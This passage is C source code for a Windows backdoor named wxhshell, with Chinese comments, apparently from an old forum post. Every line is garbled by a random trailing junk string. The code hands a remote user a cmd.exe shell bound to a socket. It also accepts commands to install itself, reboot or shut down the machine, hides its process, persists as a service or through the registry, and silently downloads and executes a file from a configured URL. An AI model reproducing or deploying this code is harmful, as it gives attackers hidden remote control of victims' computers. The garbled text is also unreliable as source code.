    switch(cmd[0]) { "g5<jp  
  dz6&TdEl  
  // 帮助 */_$' /q V  
  case '?': { `w8Ejm?n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G1 K@Ir<  
    break; a S;z YD  
  } PIHix{YR  
  // 安装 <)$e*HrI  
  case 'i': { .DR*MQI9  
    if(Install()) <`V_H~Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ([ jm=[E^  
    else <@S'vcO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )H1\4LeP  
    break; $RA+StF!]  
    } :Z[|B(U  
  // 卸载 h wi!C}  
  case 'r': { Gh5 3 Pne  
    if(Uninstall()) 1Y:JGon  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x'v-]C(@  
    else r9Vt}]$aG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [-0=ZKH?  
    break; RRb>]oD  
    } ,.HS )<B  
  // 显示 wxhshell 所在路径 |jI|} ,I  
  case 'p': { K_Pbzj4(P  
    char svExeFile[MAX_PATH]; 8kf5u#,'  
    strcpy(svExeFile,"\n\r"); yHo#v:>?p  
      strcat(svExeFile,ExeFile); Eo`'6 3  
        send(wsh,svExeFile,strlen(svExeFile),0); BhUGMK  
    break; m0i,Zw{eM  
    } N0pA ,&  
  // 重启 :bq$ {  
  case 'b': { *L&|4|BF2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lqcPV) n  
    if(Boot(REBOOT)) n v ?u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXz*g`=;  
    else { _<6E>"*m  
    closesocket(wsh); $ghlrV;:ct  
    ExitThread(0); b:PzqMh{G  
    } B un^EJ)  
    break; e>UU/Ks  
    } &s{d r  
  // 关机 Z817f]l  
  case 'd': { y&A&d-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '5lwlF  
    if(Boot(SHUTDOWN)) 3V]08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )b~+\xL5J  
    else { hZ|8mV  
    closesocket(wsh); % kaV ?j  
    ExitThread(0); M_O)w^ '  
    } k5|GN Y6a  
    break; {t*CSI  
    } $3S`A]xO  
  // 获取shell {Ia1Wd8n  
  case 's': { Gb4p "3  
    CmdShell(wsh); J'%W_?wZ  
    closesocket(wsh); z:8ieJ)C  
    ExitThread(0); x21XzGLY|}  
    break; GM Y[Gd  
  } <Zo{D |hW  
  // 退出 n0FzDQt26  
  case 'x': { [1l OGck[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _n0NE0  
    CloseIt(wsh); QuBA'4ht  
    break; b"2_EnE}1  
    } Jim5Ul  
  // 离开 \('WS[$2  
  case 'q': { SAU` u]E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `[&%fTW+  
    closesocket(wsh); ZkBWVZb  
    WSACleanup(); 5 0dx[v8  
    exit(1); pQ xv_4  
    break; $T_>WUiK  
        } +Mb}70^  
  } jItVAmC=i  
  } ;D<;pW  
N>iNz[a q  
  // 提示信息 jFl!<ooCo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T3Sz<K$E  
} pI1g<pe  
  } qN^]`M[ BY  
zhe~kI  
  return; !Ld[`d.|R!  
} },;Z<(  
[M#(su0fv  
// shell模块句柄 )=!|^M  
int CmdShell(SOCKET sock) y,6KU$G  
{ >x]ir  
STARTUPINFO si; 8yybZ@  
ZeroMemory(&si,sizeof(si)); \'&,9lP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R*H-QH/H1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bduHYs+rq  
PROCESS_INFORMATION ProcessInfo; hb(H-`16  
char cmdline[]="cmd"; ex.^V sf_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lm*C:e)4A  
  return 0; |9[)-C~N7  
} 4j(*%da  
5^{I}Q  
// 自身启动模式 D|2lBU  
int StartFromService(void) hP_{$c{4:g  
{ \0)2 u[7  
typedef struct `,Fc271`  
{ /Ri-iC >  
  DWORD ExitStatus; 6%V#_]  
  DWORD PebBaseAddress; 6A4{6B  
  DWORD AffinityMask; [xXV5 JU  
  DWORD BasePriority; A~;.9{6J[t  
  ULONG UniqueProcessId; Xif>ZL?aXb  
  ULONG InheritedFromUniqueProcessId; #dFE}!"#`  
}   PROCESS_BASIC_INFORMATION; yQq|!'MKk  
qykI[4  
PROCNTQSIP NtQueryInformationProcess; {>3w"(f7o  
Bw.?Me)mf|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D7Ds*X`!l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g(R!M0hdF  
P!!:p2fo  
  HANDLE             hProcess; JHuA}f{2&  
  PROCESS_BASIC_INFORMATION pbi; r@Xh8 r;  
Jmu oYlf|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g@m__   
  if(NULL == hInst ) return 0; @2eH;?uO  
+D?Re%HI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6?-,@e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `a8&7 J(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9 1ec^g  
1]aya(  
  if (!NtQueryInformationProcess) return 0; ,w,)n^  
A QPzId*z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6-\C?w A  
  if(!hProcess) return 0; N::.o+1  
k~]\kv=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @9g!5dcT  
^t[br6G  
  CloseHandle(hProcess); 7 .xejz  
E6xWo)`%5s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); { /Gm|*e{  
if(hProcess==NULL) return 0; CYNpbv  
3ZqtIQY`  
HMODULE hMod; Q[bIkvr|  
char procName[255]; ROj=XM:+  
unsigned long cbNeeded; 2'WdH1UrBc  
!< ^`Sx/+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gWy2E;"a  
BgwZZ<B  
  CloseHandle(hProcess); y9Q"3LLic`  
u"zQh|  
if(strstr(procName,"services")) return 1; // 以服务启动 e0<L^|S  
(z'!'?v;  
  return 0; // 注册表启动 ]K%D$x{+\  
} q?oJ=]m"  
jqy?Od )  
// 主模块 Xqas[:)7+  
int StartWxhshell(LPSTR lpCmdLine) Q$2^m(?;  
{ }u~r.=  
  SOCKET wsl; 1I U*:Z;Rz  
BOOL val=TRUE; Pl[WCh  
  int port=0;  h93  
  struct sockaddr_in door; 'p(I!]"uo  
(9D,Ukw  
  if(wscfg.ws_autoins) Install();   S?m4  
q\87<=9J  
port=atoi(lpCmdLine); p%*! ]JRS  
.e2 K\o  
if(port<=0) port=wscfg.ws_port; R P6R1iN3  
(`Q_^Bfyl  
  WSADATA data; 9!|.b::  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ppM^&6x^  
W>]=0u4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &:*|KxX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'D;'Pr]  
  door.sin_family = AF_INET; dKTUW<C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p uLQ_MNV  
  door.sin_port = htons(port); as| MB (  
eEkbD"Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RJZ4fl  
closesocket(wsl); g3uI1]QXLg  
return 1; EYF]&+ 9  
} kT6EHuB  
})}-K7v1+  
  if(listen(wsl,2) == INVALID_SOCKET) { WD5ulm?91|  
closesocket(wsl); TJp0^&Q  
return 1; :j0r~*z-  
} (s.S n(E  
  Wxhshell(wsl); ur2`.dY>3"  
  WSACleanup(); !ZlNPPrq}  
&za~=+  
return 0; ssC5YtF7X  
tmI2BBv  
} goV[C]|  
BpKgUwf;C  
// 以NT服务方式启动 APR%ZpG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nANoy6z:  
{ I~>L4~g)  
DWORD   status = 0; h47l;`kD-#  
  DWORD   specificError = 0xfffffff; A">A@`}  
$?u ^hMU=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y(RK|r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0Ie9T1D=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .v:K`y;f\(  
  serviceStatus.dwWin32ExitCode     = 0; ]%5DuE\M8\  
  serviceStatus.dwServiceSpecificExitCode = 0; W=EvEx^?%  
  serviceStatus.dwCheckPoint       = 0; 3QrYH @7zx  
  serviceStatus.dwWaitHint       = 0; X pd^^  
ii@O&g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DOm5azO!>  
  if (hServiceStatusHandle==0) return; TBYRY)~f  
%%w]-`^h,  
status = GetLastError(); 3q.O^`y FU  
  if (status!=NO_ERROR) L_YVe(dT  
{ (9J,Qs[;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cEd!t6Z  
    serviceStatus.dwCheckPoint       = 0; W@x UR-}51  
    serviceStatus.dwWaitHint       = 0; z_p/.kQ'5  
    serviceStatus.dwWin32ExitCode     = status; *tda_B 2  
    serviceStatus.dwServiceSpecificExitCode = specificError; }]H_|V*f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j.bG 7  
    return; u F T&r|  
  } \i=,[8t[r  
}GCt)i_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t>T |\WAAL  
  serviceStatus.dwCheckPoint       = 0; &V&0kp@+  
  serviceStatus.dwWaitHint       = 0; 0iX;%SPYz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Podyh/;?  
} ^.J F?2T/  
b!ZXQn3X<  
// 处理NT服务事件,比如:启动、停止 ODH@ /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n(b(H`1n  
{ (SLAq$gvd  
switch(fdwControl) ~o+HAc`=v  
{ e/m ,PE  
case SERVICE_CONTROL_STOP: h+x"?^   
  serviceStatus.dwWin32ExitCode = 0; x.+}-(`W#~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '%`W y@  
  serviceStatus.dwCheckPoint   = 0; D/Y.'P:j  
  serviceStatus.dwWaitHint     = 0; .sA?}H#wb  
  { -zd*tujx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,"u-V<>6O  
  } gHC -Y 0_  
  return; N}>XBZy  
case SERVICE_CONTROL_PAUSE: mlY0G w_e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8_K22]c5  
  break; 1TKOvy_  
case SERVICE_CONTROL_CONTINUE: RTNUHz;{L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]cnLJ^2  
  break; MX?K3=j @>  
case SERVICE_CONTROL_INTERROGATE: "}]1OL SV  
  break; pCNihZ~  
}; P.RlozF5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ":*PC[)W  
} ;jTP|q?|{  
hp}J_/+4n  
// 标准应用程序主函数 B8_ w3;x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5[M?O4mi  
{ Ak$gh b  
1@kPl[`p'  
// 获取操作系统版本 jl=<Q.Mm7  
OsIsNt=GetOsVer(); 5o5y3ibQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  )>Oip  
+'?p $@d  
  // 从命令行安装 -tSWYp{  
  if(strpbrk(lpCmdLine,"iI")) Install(); (KHTgZ6  
9/MUzt  
  // 下载执行文件 `av8|;  
if(wscfg.ws_downexe) { oQ 5g0(J~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iZQwo3"8r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ](vsh gp2  
} l/_3H\iM  
!=#E/il,  
if(!OsIsNt) { 3C8'0DB  
// 如果时win9x,隐藏进程并且设置为注册表启动 rO/mK$  
HideProc(); >'/G:\M>A  
StartWxhshell(lpCmdLine); y5.Z<Y  
} G|yX9C]R   
else Mu18s}  
  if(StartFromService()) 3mgFouX2x,  
  // 以服务方式启动 "';'*x  
  StartServiceCtrlDispatcher(DispatchTable); zqqpBwk#  
else j[yGfDb  
  // 普通方式启动 [SgP1>M  
  StartWxhshell(lpCmdLine); r:y *l4  
h%(dT/jPL)  
return 0; /!UuGm   
}
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只看该作者 1 发表于: 2006-10-10
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